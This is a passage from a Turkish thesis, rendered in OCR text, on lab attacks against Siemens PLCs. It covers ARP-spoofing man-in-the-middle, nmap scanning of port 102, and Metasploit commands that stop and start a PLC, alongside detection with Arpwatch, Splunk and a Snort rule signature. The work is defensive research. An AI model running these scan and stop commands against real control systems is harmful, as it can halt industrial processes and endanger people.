Standartlar Kurumu Tagima Hizmeti Erisim Noktasi) protokoliine dayanmaktadir. Bu
protokolde, PLC’ler ile yapilan haberlesmede veriler herhangi bir sifreleme kullanilmadan

acik bir sekilde iletilmektedir [80].

Calismada MitM saldiris1 Oncelikle Sekil 5.2°de goriilen topolojideki boliimlendirme
yapilmayan aga gergeklestirilmistir. Saldirinin ilk agamasi olan tarama asamasinda ag
iizerinde bulunan PLC’lerin adreslerinin tarama sonucunda elde edilmesi hedeflenmistir.
Sekil 5.29°da goriildiigii lizere tarama sonucunda elde edilen ag adreslerinden 192.168.0.5

IP numarast PLC cihazina aittir.
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Boliimlendirilmemis agda gerceklestirilen MitM saldirisi sonucunda, PLC cihazina ait
Sekil 5.30’da goriilen ve her bir cihaz icin farkli olan; sunucu oturum kimligi, cihaz seri
numarasi, cihaza ait model bilgisi ile donanim (firmware) versiyon bilgisi elde edilmistir.
Bu bilgiler kullanilarak agik kaynak arastirmasi ile cihaza ait 6nemli agiklik bilgileri
bulunabilmektedir. PLC’ye ait bilgilerin yaninda ag {izerinde akan trafigin yakalanmasi ile
kullanicilara ait 6zel bilgilerde elde edilebilmektedir. Endiistriyel kontrol sistemlerinde
elektrik kullanim bilgisi akilli sayaclarda depolanmakta ve dagitilmaktadir. Bu nedenle
MitM saldiris1 ile kolaylikla ele gecirilmesi halinde kullanicilarin tutum ve davranislari

hakkindaki bilgilerin istenmeyen kisilerce kullanilabilmesine yol agabilecektir.

Start Targets Hosts View Mitm Filters Logging Plugins  Info
Host List % roat@kali: ~ L-R-N -
Dosya Dizenle Gériinim Ara Ugbiim Yardim

IP Address MAC Address Descriptior

164 bytes from 192.168.8.5: icmp_seq=3 ttl=30 time=3.95 ms

192.162.0.1 00-1B:24:23:A%75 1564 bytes from 192.168.0.5: icmp_seq=4 tt1=38 time=3.45 ms
e 64 bytes from 192.168.8.5: icmp_seq=5 ttl=30 time=3.43 ms

D L 64 bytes from 192.168.8.5: icmp seq=5 ttl=30 time=2.46 ms
192.168.0.5 O01C:06:04:46:00 164 bytes from 192.168.8.5: icmp_seq=7 ttl=30 time=3.12 ms
164 bytes from 192.168.8.5: icmp_seq=8 ttl=30 time=2.75 ms

164 bytes from 192.168.8.5: icmp_seq=9 ttl=38 time=2.98 ms

164 bytes from 192.168.0.5: icmp_seq=10 ttl=38 time=2.93 ms

|64 bytes from 192.168.0.5: icmp _seq=11 ttl=38 time=3.49 ms

192_16805 |64 bytes from 192.168.8.5: icmp_seg=12 tt1=30 time=2.42 ms
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Sekil 5.29. Boliimlendirilmemis ag topolojisinde gerceklestirilen MitM saldirisi
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Sekil 5.30. MitM saldirisinda elde edilen PLC cihaz1 bilgileri (Bliimlendirilmemis ag)
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Sinama ortaminda MitM saldirist ikinci olarak Sekil 5.3’de goriilen topolojideki

boliimlendirme yapilan aga gerceklestirmistir. Sekil 5.31°de goriilen ekran goriintiisiinde

saldir1 sonucunda ag taramasi ile elde edilen hedefler incelendiginde PLC cihazinin IP

numarasinin farkli bir IP grubunda olmasi nedeniyle tespit edilemedigi ve bu nedenle

boliimlendirme yapilan agda PLC’ye MitM saldirisinin gergeklestirilemedigi goriilmektedir.

Uygulamalar ~ Yerler v

=

cbirim ¥

Start Targets
Host List %
IP Address
192.168.1.1

192.168.1.2

Hosts View Mitm Filters Logging Plugins Info

MAC Address Description

00:05:0B:14:0C:27

Dosya Diizenle Gérili

root@kali: ~

im Ara Ugbirim Yardim

NN -]

64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64
64

00:1A:2A:2E:81:74

bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes

from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from
from

192.
192.
192.
192.
192.
192.
192.
192.
192,
192.
192.
192,
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

168.
168.
168.

168
168

168.
168.
168.

168
168

168.
168.

168
168

168.
168.
168.

168
168

168.
168.
168.

168

lofoRoRoR-Fol-FoF-N-R¥-RoR-RoR-N-FoR-FcoR-No¥<}

5: icmp_seq=464
5: icmp_seq=465
5: icmp_seq=466
5: icmp_seq=467
5: icmp_seq=468
5: icmp_seq=469
5: icmp_seq=470
5: icmp_seq=471
5: icmp_seq=472
5: icmp_seq=473
5: icmp_seq=474
B
5
5
E]
E]
5
E]
5
5
E]
5
5

icmp_seq=475

: icmp_seq=476
1 icmp_seq=477
: icmp_seq=478
: icmp_seq=479
: icmp_seq=488
: icmp_seq=481
: icmp_seq=482
: icmp_seq=483
: icmp_seq=484
: icmp_seq=485
: icmp_seq=486

tt1=30
t11=30
t11=30
tt1=30
t11=30
tt1=30
tt1=30
t11=30
tt1=30
t11=30
t11=30
tt1=30
t11=30
t11=30
tt1=30
t11=30
t11=30
tt1=30
t11=30
t11=30
tt1=30
t11=30
t11=30

time=3.
time=3.
time=2.
time=2.
time=2.
time=3.
time=2.
time=2.
time=2.
time=2.
time=2.
time=3.
time=2.
time=2.
time=3.
time=2.
time=2.
time=3.
time=3.
time=2.
time=3.
time=3.
time=2.

g
a7
84
89
80
71
86
95
92
85
65
0l
91
97
23
96
98
33
14
91
05
35
96

Delete Host

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
2 hosts added to the hosts list...

Add to Target 1

Add to Target 2

Sekil 5.31. Boliimlendirilmis Ag Topolojisinde Gergeklestirilen MitM Saldiris
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MitM saldirisinin tespit asamasinda, Ubuntu (Linux) isletim sistemi {izerinde kurulu olan
Arpwatch uygulamasi ile ag lizerinde bulunan cihazlara ait MAC adresleri toplanarak ARP
Tablosu olusturulmustur. Tablo igerisinde herhangi bir degisiklik (ekleme, degistirme, vb.)
olmast durumunda istenilen kullanictya (root) uygulamanin (Arpwatch) SMTP Server

(send mail oOzelligi) araciligiyla e-posta gondermesi saglanmistir. Alinan e-postalar

Sekil 5.32’deki konsol tabanli ¢alisan e-posta istemcisi (Alpine) ile goriintiilenmistir.

Sekil 5.32°de belirtilen saldirt uyar1 e-postalarindan 503 numarali uyar1 paketinin igerigi
Sekil 5.33’de goriilmektedir. Paket genel olarak degerlendirildiginde, saldirganin ag cihazi
(Hub) ile PLC arasma girerek 00:e0:4¢:53:44:58 MAC adresine sahip 192.168.0.1 IP
adresli ag cihazinin MAC adresini kendi MAC adresi olan 00:04:1b:14:04:36 ile

degistirdigi tespit edilmistir.

Terminal

root@ubuntu: /home/splunk

ALPINE 2.20

495 Nis
496 Nis
497 Nis
498 Nis
499 Nis
500 Nis
501 Nis

Nis

00 00 00 M

§ FldrList

Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch

To: root@ubuntu.

Arpwatch

MESSAGE INDEX

ubuntu
ubuntu
ubuntu
ubuntu
ubuntu
ubuntu
ubuntu
ubuntu

ubuntu

ld PrevMsg
Nl NextMsg

Folder:

(1K)
(1K)

INBOX

flip
flip
flip
flip
flip

flop
flop
flop
flop
flop

1y B = ) 2156 M

Message 503 of 505

(192.
(192.
(192.
(192.
(192.

168.
168.
168.
168.
168.
new station (192.168.
new station (192.168.
new station

0
0.
0.
0

0.

192.168.

ens33
ens33
ens33
ens33
ens33
0.5) ens33
0.5) ens33

changed ethernet address (192.168.0.
Cron <root@ubuntu> /opt/splunk/bin/s
new station (192.168.10.16) ens33

§ PrevPage (] Delete

NextPage [l Undelete

i§ Forward

Sekil 5.32. MitM Saldirisinin Tespitine Yonelik Linux Alpine Ekrani



Ubuntu Desktop

1y B = ) 2154 3%

ALPINE 2.20 MESSAGE TEXT Folder: INBOX Message 503

: Thu, 27 Apr 2017 20:57:27 +0300
: Arpwatch ubuntu <arpwatch@ubuntu.localdomain>
root@ubuntu.localdomain

Subject: changed ethernet address (192.168.0.1) ens33

hostname:

ip address:
interface:

ethernet address:
ethernet vendor:

old ethernet address:
old ethernet vendor:
timestamp:

previous timestamp:
delta:

<unknown>

192.168.0.1

ens33

00:04:1b:14:04:36

Bridgeworks Ltd.

00:e0:4c:53:44:58

REALTEK SEMICONDUCTOR CORP.

Thursday, April 27, 2017 20:57:27 +0300
Saturday, April 8, 2017 17:36:07 +0300
19 days

ALL of message

§ MsgIndex Il PrevMsg j PrevPage ] Delete
@ OTHER CMDS =2 ViewAttch [ NextMsg

Sekil 5.33. MitM Saldirisinin Tespitine Y&nelik Paket Icerigi

Arpwatch uygulamasi

ARP tablosundaki

tim degisikliklerde uyari

of 505 ALL NEW

§ Forward
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ireterek ag

yoneticilerinin incelemesine sunmaktadir. Bu kapsamda, Sekil 5.34’deki ekran goriintiisii

MitM saldirisina ait bir uyar1 olmayip aga yeni eklenen bir donanimin MAC adresini ARP

tablosuna yazdirmasina yonelik bir uyaridir. Ancak bu uyar tiirii de ag ydneticileri i¢in

olduk¢a 6nemli bir bilgi olup, yasal olmayan aga girislerinin tespitinde oldukca etkili

olarak kullanilabilmektedir. Ornegin, Sekil 5.35°de yer alan aga yeni eklenen bilesene
yonelik uyari paketi igeriginde bilesenin IP (192.168.10.16) ve MAC (7¢:05:1d:91:c8)

adresleri goriilmektedir.

Terminal

ty B = ) 22000

root@ubuntu: /home/splunk
ALPINE 2.20 MESSAGE INDEX Folder: INBOX Message 505 of 519

495 Nis
496 Nis
497 Nis
498 Nis
499 Nis
500 Nis
501 Nis
502 Nis

00000000 o™

Arpwatch ubuntu (1K) flip flop (192.168.
Arpwatch ubuntu (1K) flip flop (192.168.
Arpwatch ubuntu (1K) flip flop (192.168.
Arpwatch ubuntu (1K) flip flop (192.168.
Arpwatch ubuntu (1K) flip flop (192.168.
Arpwatch ubuntu (891) new station (192.168.0.5) ens33

Arpwatch ubuntu (883) new station (192.168.0.5) ens33

Arpwatch ubuntu (866) new station (192.168.10.8) ens33

Arpwatch ubuntu changed ethernet address (192.168.0.
To:

root@ubuntu. Cron <root@ubuntu>

Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch
Arpwatch

Ar

pwatch

4 new messages! Most recent from Arpwatch ubunt
4 PrevMsg 8 PrevPage ] Delete
g ] NextMsg Mlda NextPage [l Undelete

(]
0.
0.
(]

0.

ens33
ens33
ens33
ens33
ens33

splunk/bin/s|
.16) ens33
ens33

ens33

ens33

ens33

ens33

ens33

ens33

ens33

Reply
Forward

Sekil 5.34. Aga Yeni bir terminalin eklenmesiyle ARP tablosu degisimi
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Terminal Li €) 21:57 %
root@ubuntu: /home/splunk
ALPINE 2.20 MESSAGE TEXT Folder: INBOX Message 505 of 505 ALL NEW

: Thu, 27 Apr 2017 21:40:48 +0300
: Arpwatch ubuntu <arpwatch@ubuntu.localdomain>
root@ubuntu.localdomain

Subject: new station (192.168.10.16) ens33

hostname: <unknown>
ip address: 192.168.10.16
interface: ens33
ethernet address: 7c:05:07:1d:91:c8
ethernet vendor: <unknown>
timestamp: Thursday, April 27, 2017 21:40:48 +0300

ALL of message
§ MsgIndex 4 PrevMsg 4 PrevPage ] Delete
¢ OTHER CMDS B ViewAttch [ NextMsg i Forward

Sekil 5.35. Aga yeni bir terminalin eklenmesiyle ARP tablosu degisimi paket igerigi

MitM saldirisinin tespitine yonelik olusturulan uyarilar Sekil 5.36°da goriildiigl iizere
Linux konsol ekraninda listelenebilecegi gibi, Sekil 5.37°de yer alan Splunk IDS
sisteminin sensorlerinin Ubuntu igletim sistemi ile uyumlandirilmas: ve MitM uyart

loglarinin aktarilmasi ile daha gorsel ve fonksiyonel olarak da takip edilebilmektedir.

le Gordnidm Ara Ucbinm Yardim

ar 9 22:20:34 splunk-virtual-machine arpwatch: pcap open ens33: ems33: That de
ice is not up
ar 9 22:21:37 splunk-virtual-machine arpwatch[2792]: Stopping EthernetfFDDI st
ation monitor daemon: arpwatch-ens33.
ar 9 22:21:37 splunk-virtual-machine arpwatch[2884]: Starting Ethernet/FDDI st
ation monitor daemon: (chown arpwatch fvarflibfarpwatchfens3i3.dat) arpwatch-ens3
3.
9 22:21:37 splunk-virtual-machine arpwatch: Running as uid=122 gid=129
9 22:21:37 splunk-virtual-machine arpwatch: Llistening on ens33
9 22:21:51 splunk-virtual-machine arpwatch: new station 192.168.8.4 80:1c:8
:18:T1 ens33
9 22:21:51 splunk-virtual-machine arpwatch: new station 192.168.8.1 88:6c:2
:12:d1 ens33
9 22:21:51 splunk-virtual-machine arpwatch: changed ethernet address 192.16
B.G.4 68:8c:29:4d:12:d1 (00:1c:06:06:10:F1) ens33
ar 9 22:22:81 splunk-virtual-machine arpwatch: report: pausing (cdepth 3)
ar 9 22:25:51 splunk-virtual-machine arpwatch: flip flop 192.168.8.4 88:1c:86:
86:18:f1 (80:8c:29:4d:12:d1) ens33
ar 9 22:26:11 splunk-virtual-machine arpwatch: new station 192.168.8.20 5c:b9:
B81:83:31:5b ens3i3
ar 9 22:26:11 splunk-virtual-machine arpwatch: changed ethernet address 19%2.16
8.1 88:12:bf:24:56:5e (80:8Cc:29:4d:12:d1) ens32
ar 9 22:26:21 splunk-virtuwal-machine arpwatch: report: pausing (cdepth 3)

Sekil 5.36. MitM saldirist sonrast ARP tablosundaki degisimlerin konsol ekrani
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1
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4 00:0c:29:fa:99:e5 (00:1c:06:06:10:71) ens33
29:fa:99:e5 (00:1c:06:06:10:T1) ens33
06:06:10:f1 (00:0c:29:fa:99:e5) ens33

29:fa:99:e5 (00:1c:06:06:10:F1) ens33
06:06:10:f1 (00:0c:29:fa:99:e5) ens33
29:fa:99:e5 (00:1c:06:06:10:F1) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
1 00:0c:29:fa:99:e5 (00:04:1b:14:04:36) ens33
1 00:0c:29:fa:99:e5 (00:04:1b:14:04:36) ens33
1 00:0c:29:fa:99:e5 (00:04:1b:14:04:36) ens33
29:T3:99:e5 (00:04:1b:14:04:36) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
29:fa:99:e5 (00:04:1b:14:04:36) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
29:Ta:99:e5 (00:04:1b:14:04:36) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
29:fa:99:e5 (00:04:1b:14:04:36) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
29:Ta:99:e5 (00:04:1b:14:04:36) ens33
1b:14:04:36 (00:0c:29:fa:99:e5) ens33
29:fa:99:e5 (00:04:1b:14:04:36) ens33
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Sekil 5.37. MitM saldiris1 sonrast ARP tablosundaki degisimlerin Splunk log yonetim ekrani

5.1.5. Baslat/Durdur (Start/Stop) saldiris1

Saldir1 analizlerinin son kisminda ise PLC’lere yapilabilecek en 6nemli ve etkili

saldirilardan olan Baslat/Durdur saldiris1 Sekil 5.38’de belirtilen agamalar dogrultusunda

gergeklestirilmistir. Bu kapsamda, oncelikle Baslat/Durdur saldiris1 gerceklestirilerek

saldiriya iliskin sistemde gergeklesen degisikliklerin incelenmesi, miiteakiben saldiri

paketlerinin yakalanmasi ve analizi ile snort tabanl kiitliphaneye Sekil 5.7 ve Sekil 5.8de

goriildiigii tizere Baslat/Durdur saldir1 paketlerinin paternlerinin kural setlerine girilmesiyle

Snorby aracilifiyla saldirinin tespit edilmesi hedeflenmistir.
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Tarama
(Ayri ag igerisinde -t
Nmap taramas: yapilir)

Saldin
Asamasi

Tarama
sonucunda PLC
tespit edildi mi?

Baslat/Durdur
saldinsi 15 tekrarh
olarak gergeklestirilir.

vy

B
s .- ————————— - - ——

Snorby
uygulamasi saldiri
paketlerini tespit ayir
etti mi?

norby Gzerinde
saldinya 6zgu bir sablon
elde edildi mi?

Hayir

Saldin paketlerinden tespit
edilen saldinya 6zgi sablon
duzenlenerek Snort IDS'e
kural olarak tanimlanir.

Basglat/Durdur
Saldinsi tekrarlanir.

Saldir
Tespit
Asamasi

Snort IDS Gzerine
tanimlanan kural saldirniyi
"Baslat/Durdur Saldirisi"
olarak tanimlads mi 2

Hayir

o
L ———

Sekil 5.38. Baslat/Durdur saldirisi kesif, saldir1 ve tespit asamalari

Baglat/Durdur saldiris1 agsamast kapsaminda, bolimlendirilmemis agda bulunan ve
okuma/yazma parolasi olmayan PLC cihazina, Sekil 5.39°de goriildiigli lizere oncelikle
tarama (scan) atag1 gerceklestirilerek, MitM saldiris1 sonrasinda Wireshark ile elde edilen
cihaza ait bilgilerden model bilgisi ile donanim versiyon bilgisi (firmware) elde edilmistir.
Ag iizerinde bulunan PLC’leri taramak i¢in, Nmap basta olmak iizere herhangi bir port
tarama araci  kullamilarak, “~ nmap —script —mms-identify.nse = —script-

args=‘mmesidentify.timeout= 500’ -p 102 <host>" komutu ile 102. portun taranmas1 yeterli
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olabilmektedir. Bu sayede ag iizerinde mevcut olan PLC cihazlar1 ve cihazlara ait IP
bilgileri elde edilerek, bu cihazlara yonelik diger saldirilar gerceklestirilebilecektir. Bu
calismada, ag nmap araci ile tarandiktan sonra PLC-1 ve PLC-2 donanimlarina ait
"192.168.0.4" ve "192.168.0.5" IP adresleri tespit edilmistir.

Uygulamalar ~ Yerler +  [g] armitage-ArmitageMain v 24 Haz Cum, 20:35

Armitage
Armitage View Hosts Attacks Workspaces Help
"EE‘auxMary A
v (& PLC

B s71200cpu Pl

aw

[ console X | PLC/s71200cpu X |

msf auxiliary(s71200cpu) > run -j
MODE => SCAN
FUNC == 1
RHOSTS == 192.168.0.5
[*]1 Auxiliary module running as background job

192,168.0.5: 6ES7 214-1HE30-0XBO : V2.2
[*] Scanned 1 of 1 hosts (100% complete)
msf auxiliary(s71200cpu) > set MODE STOP
MODE == STOP
msf auxiliary(s71200cpu) > exploit

6ES7 214-1HE30-0XBO : V2.2

mode select: STOP

PLC----=5TOP
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(s71200cpu) > set MODE START
MODE == START
msf auxiliary(s71200cpu) > exploit

B6ES7 214-1HE30-0XBO : V2.2

mode select: START

PLC----=RUN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(s71200cpu) > set MODE STOP
MODE == STOP
msf auxiliary(s71200cpu) > exploit

6ES7 214-1HE30-0XBO : V2.2

mode select: STOP

PLC----=5TOP
[*]1 Scanned 1 of 1 hosts (100% complete)
[*]1 Auxiliary module execution completed
msf auxiliary(s71200cpu) > |

Sekil 5.39. Boliimlendirilmemis agda Baslat/Durdur saldirisi

PLC'lerin yer aldig1 EKS ag1 tarandiktan ve agdaki PLC'ler tespit edildikten sonra, PLC'lere
baslat/durdur saldiris1 gerceklestirilmis ve saldirilarin sisteme etkisi izlenmistir. Saldirt
kapsaminda, herhangi bir PLC ile bir etkilesim olup olmadigin1 anlamak i¢in tarama paketi
gonderilmis ve cevap beklenmistir. PLC'den basarili taama cevabi geldikten sonra,
durdurma komutu aktif olan PLC'ye gonderilmis ve cihaz durdurulmustur. Bu komutun

sistem tizerindeki etkisini dogrulamak i¢in TIA Portal yonetim ara yiiziindeki degisiklik de
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takip edilmistir. Sekil 5.40'da gosterildigi gibi, durdurma saldiris1 gerceklestirilirken, TIA

Portal'da durdurma komutu aktif hale gelmistir.

TA Slemens - Project]
FP?J Edit View Insert Online Options Tools Window Help : Totally Integrated Automation
§ (%l saveproject W X s T X O : T G 0GB R Y coonine ¥ Gooftine Ay W B x 3 PORTAL
Projectl b PLC_1 [CPU 1214C DUDURlY] » Program blocks b Main [0B1]
| Devices | Options B
= = 1 (o | & 52 & [o=1l[H = 13
QO Dl # e b EREERC@rGZHF OGRS N, H i =18
Main > | Favorites 8
W Add new device ~ Name Deta type Defsultvalue  Comment saliiaoia inaan valans g
hy Devices & netwarks |- Temp * [ Nome o |
= [ PLC_1 [CPU 1214C DG/DCRIY] M |z - | vl Geners | ~
[I¥ Device configuration [<] i >| | v L vitlogic operations E"
% Online & disgnostics L » [@) Timer operations 2
= [ Program blocks [ ] HbE A = — b [+1) Counter operations 2
W Add new block - LWUIR 1 ~ | » (¢ comparator operations
& Main [OB1] b [£) Math functions vl=
<] [ [ » :
w0.0 w0 v | Extended instructions 2
» g Pl (] “Tag_1* “Tog. 2" Neme o |*
|  —
; { » [ Date and time-afday -
» [ String + Char =
E
» [ Distributed 110 -3
g
) F——— b [ Interrupts 3
it v | » [ Disgnasties @
: 100% [=] §— b [ Pulse -
: - <] >
— | Properties  ["idinfo 1] % Diagnostics
- - - v | Tachnology
| Device information | Connection informa tion || Alarm display | . —
1 devices with problems » [ Counting
I]'( Onlin.. Ty Opers.. Deviceimodule Message Details Help » [] PID Control
oK @ sTOP  PLC1 For more detailed information, refer to devi. | 7 » ] Motian Control
< " »
> | Communication
(23 Overview & Main

Sekil 5.40. Bolimlendirilmemis agda Baslat/Durdur atagi (Okuma/Yazma korumasi pasif)

Uciincii  asamada  Baslat/Durdur  saldirist  tekrarlh modda  gergeklestirilmistir.
TIA Portali yazilimi, 10 tekrarlama olarak belirlenen saldir1 donglisii sirasinda PLC'ye
komuta edememistir. Tekrar sayisinin 1000 tekrar (ya da daha yiiksek) gibi yiiksek bir
degere ayarlanmasi durumunda, PLC TIA Portal ile uzun siire kontrol edilemez ve yalnizca
yeniden baslatma ile PLC’ye yeniden komuta edebilir. Baslat/durdur saldiris1 sonucunda,
ozellikle tekrarli modda, PLC gorevini yerine getirememistir. Bu baglamda, PLC'nin anlik
tepki verme gereksinimleri dikkate alindiginda, baslat/durdur saldiris1 nedeniyle kontrol
sistemlerinin ag trafiginde meydana gelen gecikmenin, 6nemli sorunlara yol agabilecegi

gOriilmiistiir.

Baslat/Durdur saldirisinin dérdiincii asamasinda, PLC'nin okuma/yazma sifresi TIA Portal
programi vasitasiyla etkinlestirilmis ve PLC'ye Baslat/Durdur saldirisi tekrarlanmstir.
Sekil 5.41'de gosterildigi gibi, PLC'nin okuma/yazma parolasinin etkinlestirilmesi halinde,
Baslat/Durdur saldiris1 sonucunda yalnizca tarama agamasi bagartyla tamamlanmis ancak

cihaz durdurma i¢in sifre istediginden durdur saldirisinin basarisiz oldugu goriilmiistiir.
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Sekil 5.41. Bolimlendirilmemis agda Baslat/Durdur atagi (Okuma/Yazma korumasi aktif)

rells n >

<l

Boliimlendirilmis ag topolojisinde Baslat / Durdur atagi denenmesi sonucunda ise

okuma/yazma parolasinin pasif olmasi halinde saldirinin basariyla gerceklestirilebildigi

gbzlenmistir.

“Tarama saldirisi oncesi e

226 10 19
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i h
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Sekil 5.42. Tarama saldir1 agamasinda yiiksek seviyeli olay miktarindaki degisim

Baslat / Durdur saldirisinin tespit asamasinda, PLC'ye ilk saldir1 adimi olan tarama saldirisi

gerceklestirildiginde, Sekil 5.42°de goriildiigii iizere yiiksek seviyeli olay sayisinin 226’dan
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228’e ¢iktig1 goriilmiistiir. Artisa neden olan ilk paket, aktif durumda PLC'yi arastiran sorgu
paketi iken, ikincisi ise yanit paketidir. Tarama saldirisinin basarili bir sekilde
gerceklestirildigi bilgileri aldiktan sonra Baglat / Durdur saldirisinin gerceklestirilebilecegi

anlagilmistir.

Baslat/Durdur saldiris1 tespitinin ikinci asamasinda PLC’ye tekrarli modda saldiri
gerceklestirildiginde, Snorby tarafindan saldir1 imzalar1 (Bkz. Sekil 5.7 ve Sekil 5.8) ile
eslesen paketler yiiksek seviyeli olaylar listesinin yer aldigr Sekil 5.43°de goriilmiistiir.
Sekil 5.43’de yer alan liste incelendiginde, saldir1 tekrarli olarak uygulandiginda toplam
“2n + 27 kadar olay sayisinin arttig1 tespit edilmistir. Bu formiilasyonda, n tekrar sayisidir.
Ornegin; 10 tekrarli bir baslat/durdur saldirisi igin toplam 22 adet olay listelenmektedir. 22
olayin, 2 adedi ise “tarama saldirisina”, 10 adedi illegal **Baslat™" isteklerine ve 10 adedi ise

illegal “*Durdur’" isteklerine iligkindir.

[ Search | Splunk 65.3 X @B Snorby - High Severity Eve.. X = = X
€ ) O hitps;//192.168.0.15/results?match_all=true&searchletime][column]=end_time&tsearch[etime][operator]=te8isea ¢ @ Qsearct wBe ¥ A =
[8) Most Visited @ pfSense.localdomain -... [ Search | Splunk Light ... @ Snorby - Dashboard I} Burp Suite editions an...

m] n Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP i)
m} 0 st 192.168.10.8 192.168.0.4 SET PLC STARTISTOP

m] n Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

m} 0 st 192.168.10.8 192.168.0.4 SET PLC STARTISTOP

m] o Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

m} 0 st 192.168.10.8 192.168.0.4 SET PLC START/STOP

O o Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

O n Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

(B 0 st 192.168.0.17 192.168.0.10 ET INFO Suspicious Windows NT version 1 User-Agent

m] n Snort 192.168.0.17 192.168.0.10 ET POLICY HTTP Request on Unusual Port Possibly Hostile
(] 0 st 192.168.10.8 192.168.0.4 SET PLC STARTISTOP

m] n Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

m} 0 st 192.168.10.8 192.168.0.4 SET PLC STARTISTOP

m] o Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

m} 0 st 192.168.10.8 192.168.0.4 SET PLC START/STOP

O o Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

m} 0 st 192.168.10.8 192.168.0.4 SET PLC START/STOP

O B st 192.168.10.8 192.168.0.4 SET PLC STARTISTOP

O n Snort 192.168.10.8 192.168.0.4 SET PLC START/STOP

] B snot 192.168.10.8 19216804 SET PLC STARTISTOP

Sekil 5.43. Baglat/Durdur saldir1 olay paketleri

Yiiksek seviyeli olaylar listesinde goriintiilenen olaylar igerisinde listelenen ve “SET PLC
START/STOP” olarak tanimlanan olaya ait paket incelendiginde, Snorby’nin ortaya ¢ikan
siipheli paketlerin kaynak ve hedef IP adresleri ile iletisim portunun tanimlanabildigi
goriilmektedir. Bu kapsamda, Sekil 5.44°de belirtilen paketin 192.168.10.18 IP adresine
sahip Kali Linux saldirgan bilgisayarindan 192.168.0.4 IP adresine sahip PLC cihazina
102. porttan yapilan Baglat/Durdur saldirisi oldugu goriilmektedir.
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Kaynak ve hedef IP adreslerini ve kullanilan port numarasini belirlemek, ag giivenligi
uzmanlarina biiyiik kolaylik saglayabilir. Baslat/durdur komutlarinin yetkili bir kullanici
(6rn., TIA Portal) veya koti niyetli bir saldirgan tarafindan gergeklestirilip
gerceklestirilmedigi belirlenebilir. IP sahtekarligi veya igeriden birisi (insider) saldirisi

disinda, bu bilgiler yetkisiz erisime daha hizli bir tepki vermeyi saglayacaktir.

3 Search | Splunk 653 X @ Snorby - High Severity Eve.. X | =+ =T RS
€) D& hitps//192.168.0.15/resultsImatch_all=true&searchletime mn)=end_time&searchletime}{operator]=te&se: ¢ @ Qsearch we & A& =
B Most Visited B pfSense.locaidomain -... [l Search | Splunk Light ... [ Snorby - Dashboard Il Burp Suite edits

] 1 Snont 1 1018 192 04 SET PL oP o:10 PM N

IP Header Information Event Export Options | Permatink

Proto Csum

—

Signzcure Information

G merator 10 Sig. 10 9. Revisior Activity (111520718)

TCP Header Information

Notes

Add A Note To This Event

Sekil 5.44. Baslat/Durdur saldirisi olay paketi analizi

Sekil 5.45'de gosterilen listelenmis bir {ist diizey olayin kural bilgisi incelendiginde, olay

paketlerinin Sekil 5.7 ve Sekil 5.8 ile Snorby'de tanimlanan baslat/durdur saldir1 paketleri

oldugu anlagilmaktadir.

3 Search | Splunk 6.5.3 X @ Srorby - High Severty ve.. X | 4 - o X
€ @8 hitps//192.168.0.15/results?march_all=trueSsearchietimelfce end_time&se ¢ @ Qseor 68 $ & 9O =
(B Most Visted @ pfSenselocaldomain -.. [l Search | Splunk Light . [ Snorby - Dashboard I} Burp Suite editions an...

]

' B 1681008 19216804 PLC ST sc10 0w

IP Header Information

| 192:168.04

Signature Information

TCP Header Info

Signature: SET PLC STARTISTOP
alerc tcp any any -> o functions/Set PLC CPU
START/STOP":content:" 03 00 00 43 02 £0 80 72| ":s1d:9:) _

= 03 00 00 43 02 £0 80

Sekil 5.45. Baglat/Durdur saldir1 olay paketinin tespitine iliskin kural
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PLC’lerin kontrolii ve yonetiminin saglandigt TIA Portal {izerinden PLC’ye
cevrim igi/cevrim dis1 isteklerinin gonderilmesi sonucunda ise Sekil 5.46’da goriildigi
tizere, yliksek seviyeli olay sayis1 1500°den 1521°e (15 ¢evrim i¢i + 6 ¢evrim dis1) ¢iktigi

gorlilmiistiir.

Snorby

733

1579

1579

§39

d

Sekil 5.46. TIA portal iizerinden gonderilen ¢evrim i¢i ve ¢evrim dis1 komutlar1 sonrast
olay sayisinin degisimi

Cevrimic¢i halde bulanan PLC’ye TIA Portal iizerinden durdur istegi gonderildiginde,
Sekil 5.47°de goriildiigii lizere, yiiksek seviyeli olay sayisinin 1521°den 1522’ye, baglat
istegi PLC’ye gonderildiginde ise 1522°den 1523’e (1 durdur paketi + 1 baslat paketi)
cikmustir.

“Start Komutu™ Sonrasi

1579 739 1523 | 1579 745
! d ! d

T g -

1522
d d
“'Stop Komutu™ Sonrasi

e =

Sekil 5.47. TIA portal iizerinden gonderilen Durdur ve Baglat komutlar1 sonrasi olay
sayisinin degisimi
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TIA portal yonetim ara ylizii vasitasiyla PLC’nin ¢evrim i¢i (go online) olmasi igin
gonderilen komut, Snorby tarafindan davramis sablonunun Baslat/Durdur saldirist ile
benzer olmasi nedeniyle yiiksek seviyeli olaylar listesinde goriintiilenmektedir. Olayin
